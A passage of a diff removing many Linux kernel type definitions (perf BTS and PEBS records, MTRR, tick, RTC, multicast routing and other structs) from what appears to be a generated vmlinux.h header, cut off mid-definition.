long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct debug_store ds_back; - int state; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -enum { - BTS_STATE_STOPPED = 0, - BTS_STATE_INACTIVE = 1, - BTS_STATE_ACTIVE = 2, -}; - -struct bts_phys { - struct page *page; - long unsigned int size; - long unsigned int offset; - long unsigned int displacement; -}; - -struct bts_buffer { - size_t real_size; - unsigned int nr_pages; - unsigned int nr_bufs; - unsigned int cur_buf; - bool snapshot; - local_t data_size; - local_t head; - long unsigned int end; - void **data_pages; - struct bts_phys buf[0]; -}; - -struct mtrr_var_range { - __u32 base_lo; - __u32 base_hi; - __u32 mask_lo; - __u32 mask_hi; -}; - -struct mtrr_state_type { - struct mtrr_var_range var_ranges[256]; - mtrr_type fixed_ranges[88]; - unsigned char enabled; - unsigned char have_fixed; - mtrr_type def_type; -}; - -struct var_mtrr_range_state { - long unsigned int base_pfn; - long unsigned int size_pfn; - mtrr_type type; -}; - -struct var_mtrr_state { - long unsigned int range_startk; - long unsigned int range_sizek; - long unsigned int chunk_sizek; - long unsigned int gran_sizek; - unsigned int reg; -}; - -struct mtrr_cleanup_result { - long unsigned int gran_sizek; - long unsigned int chunk_sizek; - long unsigned int lose_cover_sizek; - unsigned int num_reg; - int bad; -}; - -struct x86_mapping_info { - void * (*alloc_pgt_page)(void *); - void *context; - long unsigned int page_flag; - long unsigned int offset; - bool direct_gbpages; - long unsigned int kernpg_flag; -}; - -struct init_pgtable_data { - struct x86_mapping_info *info; - pgd_t *level4p; -}; - -struct smp_hotplug_thread { - struct task_struct **store; - struct list_head list; - int (*thread_should_run)(unsigned int); - void (*thread_fn)(unsigned int); - void (*create)(unsigned int); - void (*setup)(unsigned int); - void (*cleanup)(unsigned int, bool); - void (*park)(unsigned int); - void (*unpark)(unsigned int); - bool selfparking; - const char *thread_comm; -}; - -struct smpboot_thread_data { - unsigned int cpu; - unsigned int status; - struct smp_hotplug_thread *ht; -}; - -enum { - HP_THREAD_NONE = 0, - HP_THREAD_ACTIVE = 1, - HP_THREAD_PARKED = 2, -}; - -struct mcs_spinlock { - struct mcs_spinlock *next; - int locked; - int count; -}; - -struct qnode { - struct mcs_spinlock mcs; -}; - -struct _ddebug { - const char *modname; - const char *function; - const char *filename; - const char *format; - unsigned int lineno: 18; - unsigned int class_id: 6; - unsigned int flags: 8; - union { - struct static_key_true dd_key_true; - struct static_key_false dd_key_false; - } key; -}; - -enum class_map_type { - DD_CLASS_TYPE_DISJOINT_BITS = 0, - DD_CLASS_TYPE_LEVEL_NUM = 1, - DD_CLASS_TYPE_DISJOINT_NAMES = 2, - DD_CLASS_TYPE_LEVEL_NAMES = 3, -}; - -struct ddebug_class_map { - struct list_head link; - struct module *mod; - const char *mod_name; - const char **class_names; - const int length; - const int base; - enum class_map_type map_type; -}; - -struct _ddebug_info { - struct _ddebug *descs; - struct ddebug_class_map *classes; - unsigned int num_descs; - unsigned int num_classes; -}; - -struct load_info { - const char *name; - struct module *mod; - Elf64_Ehdr *hdr; - long unsigned int len; - Elf64_Shdr *sechdrs; - char *secstrings; - char *strtab; - long unsigned int symoffs; - long unsigned int stroffs; - long unsigned int init_typeoffs; - long unsigned int core_typeoffs; - struct _ddebug_info dyndbg; - bool sig_ok; - long unsigned int mod_kallsyms_init_off; - struct { - unsigned int sym; - unsigned int str; - unsigned int mod; - unsigned int vers; - unsigned int info; - unsigned int pcpu; - } index; -}; - -enum tick_device_mode { - TICKDEV_MODE_PERIODIC = 0, - TICKDEV_MODE_ONESHOT = 1, -}; - -struct tick_device { - struct clock_event_device *evtdev; - enum tick_device_mode mode; -}; - -enum tick_nohz_mode { - NOHZ_MODE_INACTIVE = 0, - NOHZ_MODE_LOWRES = 1, - NOHZ_MODE_HIGHRES = 2, -}; - -struct tick_sched { - struct hrtimer sched_timer; - long unsigned int check_clocks; - enum tick_nohz_mode nohz_mode; - unsigned int inidle: 1; - unsigned int tick_stopped: 1; - unsigned int idle_active: 1; - unsigned int do_timer_last: 1; - unsigned int got_idle_tick: 1; - ktime_t last_tick; - ktime_t next_tick; - long unsigned int idle_jiffies; - long unsigned int idle_calls; - long unsigned int idle_sleeps; - ktime_t idle_entrytime; - ktime_t idle_waketime; - ktime_t idle_exittime; - ktime_t idle_sleeptime; - ktime_t iowait_sleeptime; - long unsigned int last_jiffies; - u64 timer_expires; - u64 timer_expires_base; - u64 next_timer; - ktime_t idle_expires; - atomic_t tick_dep_mask; - long unsigned int last_tick_jiffies; - unsigned int stalled_jiffies; -}; - -typedef u64 (*bpf_trampoline_enter_t)(struct bpf_prog *, struct bpf_tramp_run_ctx *); - -typedef void (*bpf_trampoline_exit_t)(struct bpf_prog *, u64, struct bpf_tramp_run_ctx *); - -struct bpf_shim_tramp_link { - struct bpf_tramp_link link; - struct bpf_trampoline *trampoline; -}; - -enum perf_record_ksymbol_type { - PERF_RECORD_KSYMBOL_TYPE_UNKNOWN = 0, - PERF_RECORD_KSYMBOL_TYPE_BPF = 1, - PERF_RECORD_KSYMBOL_TYPE_OOL = 2, - PERF_RECORD_KSYMBOL_TYPE_MAX = 3, -}; - -struct pts_mount_opts { - int setuid; - int setgid; - kuid_t uid; - kgid_t gid; - umode_t mode; - umode_t ptmxmode; - int reserve; - int max; -}; - -enum { - Opt_uid___2 = 0, - Opt_gid___2 = 1, - Opt_mode___3 = 2, - Opt_ptmxmode = 3, - Opt_newinstance = 4, - Opt_max = 5, - Opt_err___5 = 6, -}; - -struct pts_fs_info { - struct ida allocated_ptys; - struct pts_mount_opts mount_opts; - struct super_block *sb; - struct dentry *ptmx_dentry; -}; - -struct vm_unmapped_area_info { - long unsigned int flags; - long unsigned int length; - long unsigned int low_limit; - long unsigned int high_limit; - long unsigned int align_mask; - long unsigned int align_offset; -}; - -enum hugetlbfs_size_type { - NO_SIZE = 0, - SIZE_STD = 1, - SIZE_PERCENT = 2, -}; - -struct hugetlbfs_fs_context { - struct hstate *hstate; - long long unsigned int max_size_opt; - long long unsigned int min_size_opt; - long int max_hpages; - long int nr_inodes; - long int min_hpages; - enum hugetlbfs_size_type max_val_type; - enum hugetlbfs_size_type min_val_type; - kuid_t uid; - kgid_t gid; - umode_t mode; -}; - -enum hugetlb_param { - Opt_gid___3 = 0, - Opt_min_size = 1, - Opt_mode___4 = 2, - Opt_nr_inodes = 3, - Opt_pagesize = 4, - Opt_size = 5, - Opt_uid___3 = 6, -}; - -struct epoll_event { - __poll_t events; - __u64 data; -} __attribute__((packed)); - -struct io_epoll { - struct file *file; - int epfd; - int op; - int fd; - struct epoll_event event; -} __attribute__((packed)); - -struct vesafb_par { - u32 pseudo_palette[256]; - int wc_cookie; - struct resource *region; -}; - -struct termios { - tcflag_t c_iflag; - tcflag_t c_oflag; - tcflag_t c_cflag; - tcflag_t c_lflag; - cc_t c_line; - cc_t c_cc[19]; -}; - -struct termios2 { - tcflag_t c_iflag; - tcflag_t c_oflag; - tcflag_t c_cflag; - tcflag_t c_lflag; - cc_t c_line; - cc_t c_cc[19]; - speed_t c_ispeed; - speed_t c_ospeed; -}; - -struct termio { - short unsigned int c_iflag; - short unsigned int c_oflag; - short unsigned int c_cflag; - short unsigned int c_lflag; - unsigned char c_line; - unsigned char c_cc[8]; -}; - -typedef efi_status_t efi_query_variable_store_t(u32, long unsigned int, bool); - -struct efivar_operations { - efi_get_variable_t *get_variable; - efi_get_next_variable_t *get_next_variable; - efi_set_variable_t *set_variable; - efi_set_variable_t *set_variable_nonblocking; - efi_query_variable_store_t *query_variable_store; -}; - -struct efivars { - struct kset *kset; - struct kobject *kobject; - const struct efivar_operations *ops; -}; - -typedef u16 ucs2_char_t; - -struct cper_sec_proc_arm { - u32 validation_bits; - u16 err_info_num; - u16 context_info_num; - u32 section_length; - u8 affinity_level; - u8 reserved[3]; - u64 mpidr; - u64 midr; - u32 running_state; - u32 psci_state; -}; - -enum hw_event_mc_err_type { - HW_EVENT_ERR_CORRECTED = 0, - HW_EVENT_ERR_UNCORRECTED = 1, - HW_EVENT_ERR_DEFERRED = 2, - HW_EVENT_ERR_FATAL = 3, - HW_EVENT_ERR_INFO = 4, -}; - -struct aer_header_log_regs { - unsigned int dw0; - unsigned int dw1; - unsigned int dw2; - unsigned int dw3; -}; - -struct trace_event_raw_mc_event { - struct trace_entry ent; - unsigned int error_type; - u32 __data_loc_msg; - u32 __data_loc_label; - u16 error_count; - u8 mc_index; - s8 top_layer; - s8 middle_layer; - s8 lower_layer; - long int address; - u8 grain_bits; - long int syndrome; - u32 __data_loc_driver_detail; - char __data[0]; -}; - -struct trace_event_raw_arm_event { - struct trace_entry ent; - u64 mpidr; - u64 midr; - u32 running_state; - u32 psci_state; - u8 affinity; - char __data[0]; -}; - -struct trace_event_raw_non_standard_event { - struct trace_entry ent; - char sec_type[16]; - char fru_id[16]; - u32 __data_loc_fru_text; - u8 sev; - u32 len; - u32 __data_loc_buf; - char __data[0]; -}; - -struct trace_event_raw_aer_event { - struct trace_entry ent; - u32 __data_loc_dev_name; - u32 status; - u8 severity; - u8 tlp_header_valid; - u32 tlp_header[4]; - char __data[0]; -}; - -struct trace_event_raw_memory_failure_event { - struct trace_entry ent; - long unsigned int pfn; - int type; - int result; - char __data[0]; -}; - -struct trace_event_data_offsets_mc_event { - u32 msg; - u32 label; - u32 driver_detail; -}; - -struct trace_event_data_offsets_arm_event {}; - -struct trace_event_data_offsets_non_standard_event { - u32 fru_text; - u32 buf; -}; - -struct trace_event_data_offsets_aer_event { - u32 dev_name; -}; - -struct trace_event_data_offsets_memory_failure_event {}; - -typedef void (*btf_trace_mc_event)(void *, const unsigned int, const char *, const char *, const int, const u8, const s8, const s8, const s8, long unsigned int, const u8, long unsigned int, const char *); - -typedef void (*btf_trace_arm_event)(void *, const struct cper_sec_proc_arm *); - -typedef void (*btf_trace_non_standard_event)(void *, const guid_t *, const guid_t *, const char *, const u8, const u8 *, const u32); - -typedef void (*btf_trace_aer_event)(void *, const char *, const u32, const u8, const u8, struct aer_header_log_regs *); - -typedef void (*btf_trace_memory_failure_event)(void *, long unsigned int, int, int); - -struct tc_fifo_qopt { - __u32 limit; -}; - -struct tc_qopt_offload_stats { - struct gnet_stats_basic_sync *bstats; - struct gnet_stats_queue *qstats; -}; - -enum tc_fifo_command { - TC_FIFO_REPLACE = 0, - TC_FIFO_DESTROY = 1, - TC_FIFO_STATS = 2, -}; - -struct tc_fifo_qopt_offload { - enum tc_fifo_command command; - u32 handle; - u32 parent; - union { - struct tc_qopt_offload_stats stats; - }; -}; - -enum nf_nat_manip_type { - NF_NAT_MANIP_SRC = 0, - NF_NAT_MANIP_DST = 1, -}; - -struct nlmsgerr { - int error; - struct nlmsghdr msg; -}; - -enum { - PIM_TYPE_HELLO = 0, - PIM_TYPE_REGISTER = 1, - PIM_TYPE_REGISTER_STOP = 2, - PIM_TYPE_JOIN_PRUNE = 3, - PIM_TYPE_BOOTSTRAP = 4, - PIM_TYPE_ASSERT = 5, - PIM_TYPE_GRAFT = 6, - PIM_TYPE_GRAFT_ACK = 7, - PIM_TYPE_CANDIDATE_RP_ADV = 8, -}; - -struct pimreghdr { - __u8 type; - __u8 reserved; - __be16 csum; - __be32 flags; -}; - -typedef short unsigned int vifi_t; - -struct vifctl { - vifi_t vifc_vifi; - unsigned char vifc_flags; - unsigned char vifc_threshold; - unsigned int vifc_rate_limit; - union { - struct in_addr vifc_lcl_addr; - int vifc_lcl_ifindex; - }; - struct in_addr vifc_rmt_addr; -}; - -struct mfcctl { - struct in_addr mfcc_origin; - struct in_addr mfcc_mcastgrp; - vifi_t mfcc_parent; - unsigned char mfcc_ttls[32]; - unsigned int mfcc_pkt_cnt; - unsigned int mfcc_byte_cnt; - unsigned int mfcc_wrong_if; - int mfcc_expire; -}; - -struct sioc_sg_req { - struct in_addr src; - struct in_addr grp; - long unsigned int pktcnt; - long unsigned int bytecnt; - long unsigned int wrong_if; -}; - -struct sioc_vif_req { - vifi_t vifi; - long unsigned int icount; - long unsigned int ocount; - long unsigned int ibytes; - long unsigned int obytes; -}; - -struct igmpmsg { - __u32 unused1; - __u32 unused2; - unsigned char im_msgtype; - unsigned char im_mbz; - unsigned char im_vif; - unsigned char im_vif_hi; - struct in_addr im_src; - struct in_addr im_dst; -}; - -enum { - IPMRA_TABLE_UNSPEC = 0, - IPMRA_TABLE_ID = 1, - IPMRA_TABLE_CACHE_RES_QUEUE_LEN = 2, - IPMRA_TABLE_MROUTE_REG_VIF_NUM = 3, - IPMRA_TABLE_MROUTE_DO_ASSERT = 4, - IPMRA_TABLE_MROUTE_DO_PIM = 5, - IPMRA_TABLE_VIFS = 6, - IPMRA_TABLE_MROUTE_DO_WRVIFWHOLE = 7, - __IPMRA_TABLE_MAX = 8, -}; - -enum { - IPMRA_VIF_UNSPEC = 0, - IPMRA_VIF = 1, - __IPMRA_VIF_MAX = 2, -}; - -enum { - IPMRA_VIFA_UNSPEC = 0, - IPMRA_VIFA_IFINDEX = 1, - IPMRA_VIFA_VIF_ID = 2, - IPMRA_VIFA_FLAGS = 3, - IPMRA_VIFA_BYTES_IN = 4, - IPMRA_VIFA_BYTES_OUT = 5, - IPMRA_VIFA_PACKETS_IN = 6, - IPMRA_VIFA_PACKETS_OUT = 7, - IPMRA_VIFA_LOCAL_ADDR = 8, - IPMRA_VIFA_REMOTE_ADDR = 9, - IPMRA_VIFA_PAD = 10, - __IPMRA_VIFA_MAX = 11, -}; - -enum { - IPMRA_CREPORT_UNSPEC = 0, - IPMRA_CREPORT_MSGTYPE = 1, - IPMRA_CREPORT_VIF_ID = 2, - IPMRA_CREPORT_SRC_ADDR = 3, - IPMRA_CREPORT_DST_ADDR = 4, - IPMRA_CREPORT_PKT = 5, - IPMRA_CREPORT_TABLE = 6, - __IPMRA_CREPORT_MAX = 7, -}; - -struct mfc_cache_cmp_arg { - __be32 mfc_mcastgrp; - __be32 mfc_origin; -}; - -struct mfc_cache { - struct mr_mfc _c; - union { - struct { - __be32 mfc_mcastgrp; - __be32 mfc_origin; - }; - struct mfc_cache_cmp_arg cmparg; - }; -}; - -struct icmp_filter { - __u32 data; -}; - -struct raw_sock { - struct inet_sock inet; - struct icmp_filter filter; - u32 ipmr_table; -}; - -enum { - LWTUNNEL_XMIT_DONE = 0, - LWTUNNEL_XMIT_CONTINUE = 1, -}; - -struct mpls_iptunnel_encap { - u8 labels; - u8 ttl_propagate; - u8 default_ttl; - u8 reserved1; - u32 label[0]; -}; - -enum { - MPLS_IPTUNNEL_UNSPEC = 0, - MPLS_IPTUNNEL_DST = 1, - MPLS_IPTUNNEL_TTL = 2, - __MPLS_IPTUNNEL_MAX = 3, -}; - -struct lbr_entry { - u64 from; - u64 to; - u64 info; -}; - -struct pebs_basic { - u64 format_size; - u64 ip; - u64 applicable_counters; - u64 tsc; -}; - -struct pebs_meminfo { - u64 address; - u64 aux; - u64 latency; - u64 tsx_tuning; -}; - -struct pebs_gprs { - u64 flags; - u64 ip; - u64 ax; - u64 cx; - u64 dx; - u64 bx; - u64 sp; - u64 bp; - u64 si; - u64 di; - u64 r8; - u64 r9; - u64 r10; - u64 r11; - u64 r12; - u64 r13; - u64 r14; - u64 r15; -}; - -struct pebs_xmm { - u64 xmm[32]; -}; - -struct x86_perf_regs { - struct pt_regs regs; - u64 *xmm_regs; -}; - -enum { - PERF_TXN_ELISION = 1ULL, - PERF_TXN_TRANSACTION = 2ULL, - PERF_TXN_SYNC = 4ULL, - PERF_TXN_ASYNC = 8ULL, - PERF_TXN_RETRY = 16ULL, - PERF_TXN_CONFLICT = 32ULL, - PERF_TXN_CAPACITY_WRITE = 64ULL, - PERF_TXN_CAPACITY_READ = 128ULL, - PERF_TXN_MAX = 256ULL, - PERF_TXN_ABORT_MASK = 18446744069414584320ULL, - PERF_TXN_ABORT_SHIFT = 32ULL, -}; - -union intel_x86_pebs_dse { - u64 val; - struct { - unsigned int ld_dse: 4; - unsigned int ld_stlb_miss: 1; - unsigned int ld_locked: 1; - unsigned int ld_data_blk: 1; - unsigned int ld_addr_blk: 1; - unsigned int ld_reserved: 24; - }; - struct { - unsigned int st_l1d_hit: 1; - unsigned int st_reserved1: 3; - unsigned int st_stlb_miss: 1; - unsigned int st_locked: 1; - unsigned int st_reserved2: 26; - }; - struct { - unsigned int st_lat_dse: 4; - unsigned int st_lat_stlb_miss: 1; - unsigned int st_lat_locked: 1; - unsigned int ld_reserved3: 26; - }; -}; - -struct pebs_record_core { - u64 flags; - u64 ip; - u64 ax; - u64 bx; - u64 cx; - u64 dx; - u64 si; - u64 di; - u64 bp; - u64 sp; - u64 r8; - u64 r9; - u64 r10; - u64 r11; - u64 r12; - u64 r13; - u64 r14; - u64 r15; -}; - -struct pebs_record_nhm { - u64 flags; - u64 ip; - u64 ax; - u64 bx; - u64 cx; - u64 dx; - u64 si; - u64 di; - u64 bp; - u64 sp; - u64 r8; - u64 r9; - u64 r10; - u64 r11; - u64 r12; - u64 r13; - u64 r14; - u64 r15; - u64 status; - u64 dla; - u64 dse; - u64 lat; -}; - -union hsw_tsx_tuning { - struct { - u32 cycles_last_block: 32; - u32 hle_abort: 1; - u32 rtm_abort: 1; - u32 instruction_abort: 1; - u32 non_instruction_abort: 1; - u32 retry: 1; - u32 data_conflict: 1; - u32 capacity_writes: 1; - u32 capacity_reads: 1; - }; - u64 value; -}; - -struct pebs_record_skl { - u64 flags; - u64 ip; - u64 ax; - u64 bx; - u64 cx; - u64 dx; - u64 si; - u64 di; - u64 bp; - u64 sp; - u64 r8; - u64 r9; - u64 r10; - u64 r11; - u64 r12; - u64 r13; - u64 r14; - u64 r15; - u64 status; - u64 dla; - u64 dse; - u64 lat; - u64 real_ip; - u64 tsx_tuning; - u64 tsc; -}; - -struct bts_record { - u64 from; - u64 to; - u64 flags; -}; - -enum allow_write_msrs { - MSR_WRITES_ON = 0, - MSR_WRITES_OFF = 1, - MSR_WRITES_DEFAULT = 2, -}; - -enum pti_mode { - PTI_AUTO = 0, - PTI_FORCE_OFF = 1, - PTI_FORCE_ON = 2, -}; - -enum pti_clone_level { - PTI_CLONE_PMD = 0, - PTI_CLONE_PTE = 1, -}; - -struct pool_workqueue; - -struct worker_pool; - -struct worker { - union { - struct list_head entry; - struct hlist_node hentry; - }; - struct work_struct *current_work; - work_func_t current_func; - struct pool_workqueue *current_pwq; - unsigned int current_color; - struct list_head scheduled; - struct task_struct *task; - struct worker_pool *pool; - struct list_head node; - long unsigned int last_active; - unsigned int flags; - int id; - int sleeping; - char desc[24]; - struct workqueue_struct *rescue_wq; - work_func_t last_func; -}; - -struct async_entry { - struct list_head domain_list; - struct list_head global_list; - struct work_struct work; - async_cookie_t cookie; - async_func_t func; - void *data; - struct async_domain *domain; -}; - -struct lock_list { - struct list_head entry; - struct lock_class *class; - struct lock_class *links_to; - const struct lock_trace *trace; - u16 distance; - u8 dep; - u8 only_xr; - struct lock_list *parent; -}; - -struct lock_chain { - unsigned int irq_context: 2; - unsigned int depth: 6; - unsigned int base: 24; - struct hlist_node entry; - u64 chain_key; -}; - -enum { - LOCKF_USED_IN_HARDIRQ = 1, - LOCKF_USED_IN_HARDIRQ_READ = 2, - LOCKF_ENABLED_HARDIRQ = 4, - LOCKF_ENABLED_HARDIRQ_READ = 8, - LOCKF_USED_IN_SOFTIRQ = 16, - LOCKF_USED_IN_SOFTIRQ_READ = 32, - LOCKF_ENABLED_SOFTIRQ = 64, - LOCKF_ENABLED_SOFTIRQ_READ = 128, - LOCKF_USED = 256, - LOCKF_USED_READ = 512, -}; - -enum { - GP_IDLE = 0, - GP_ENTER = 1, - GP_PASSED = 2, - GP_EXIT = 3, - GP_REPLAY = 4, -}; - -typedef __u64 timeu64_t; - -struct rtc_time { - int tm_sec; - int tm_min; - int tm_hour; - int tm_mday; - int tm_mon; - int tm_year; - int tm_wday; - int tm_yday; - int tm_isdst; -}; - -struct rtc_wkalrm { - unsigned char enabled; - unsigned char pending; - struct rtc_time time; -}; - -struct rtc_param { - __u64 param; - union { - __u64 uvalue; - __s64 svalue; - __u64 ptr; - }; - __u32 index; - __u32 __pad; -}; - -struct rtc_class_ops { - int (*ioctl)(struct device *, unsigned int, long unsigned int); - int (*read_time)(struct device *, struct rtc_time *); - int (*set_time)(struct device *, struct rtc_time *); - int (*read_alarm)(struct device *, struct rtc_wkalrm *); - int (*set_alarm)(struct device *, struct rtc_wkalrm *); - int (*proc)(struct device *, struct seq_file *); - int (*alarm_irq_enable)(struct device *, unsigned int); - int (*read_offset)(struct device *, long int *); - int (*set_offset)(struct device *, long int); - int (*param_get)(struct device *, struct rtc_param *); - int (*param_set)(struct device *, struct rtc_param *); -}; - -struct rtc_device; - -struct rtc_timer { - struct timerqueue_node node; - ktime_t period; - void (*func)(struct rtc_device *); - struct rtc_device *rtc; - int enabled; -}; - -struct rtc_device { - struct device dev; - struct module *owner; - int id; - const struct rtc_class_ops *ops; - struct mutex ops_lock; - struct cdev char_dev; - long unsigned int flags; - long unsigned int irq_data; - spinlock_t irq_lock; - wait_queue_head_t irq_queue; - struct fasync_struct *async_queue; - int irq_freq; - int max_user_freq; - struct timerqueue_head timerqueue; - struct rtc_timer aie_timer; - struct rtc_timer uie_rtctimer; - struct hrtimer pie_timer; - int pie_enabled; - struct work_struct irqwork; - long unsigned int set_offset_nsec; - long unsigned int features[1]; - time64_t range_min; - timeu64_t range_max; - time64_t start_secs; - time64_t offset_secs; - bool set_start_time; -}; - -struct trace_event_raw_alarmtimer_suspend { - struct trace_entry ent; - s64 expires; - unsigned char alarm_type; - char __data[0]; -}; - -struct trace_event_raw_alarm_class { - struct trace_entry ent; - void *alarm; - unsigned char alarm_type; - s64 expires; - s64 now; - char __data[0]; -}; - -struct trace_event_data_offsets_alarmtimer_suspend {}; - -struct trace_event_data_offsets_alarm_class {}; - -typedef void (*btf_trace_alarmtimer_suspend)(void *, ktime_t, int); - -typedef void (*btf_trace_alarmtimer_fired)(void *, struct alarm *, ktime_t); - -typedef void (*btf_trace_alarmtimer_start)(void *, struct alarm *, ktime_t); - -typedef void (*btf_trace_alarmtimer_cancel)(void *, struct alarm *, ktime_t); - -struct alarm_base { - spinlock_t lock; - struct timerqueue_head timerqueue; - ktime_t (*get_ktime)(); - void (*get_timespec)(struct timespec64 *); - clockid_t base_clockid; -}; - -struct static_call_tramp_key { - s32 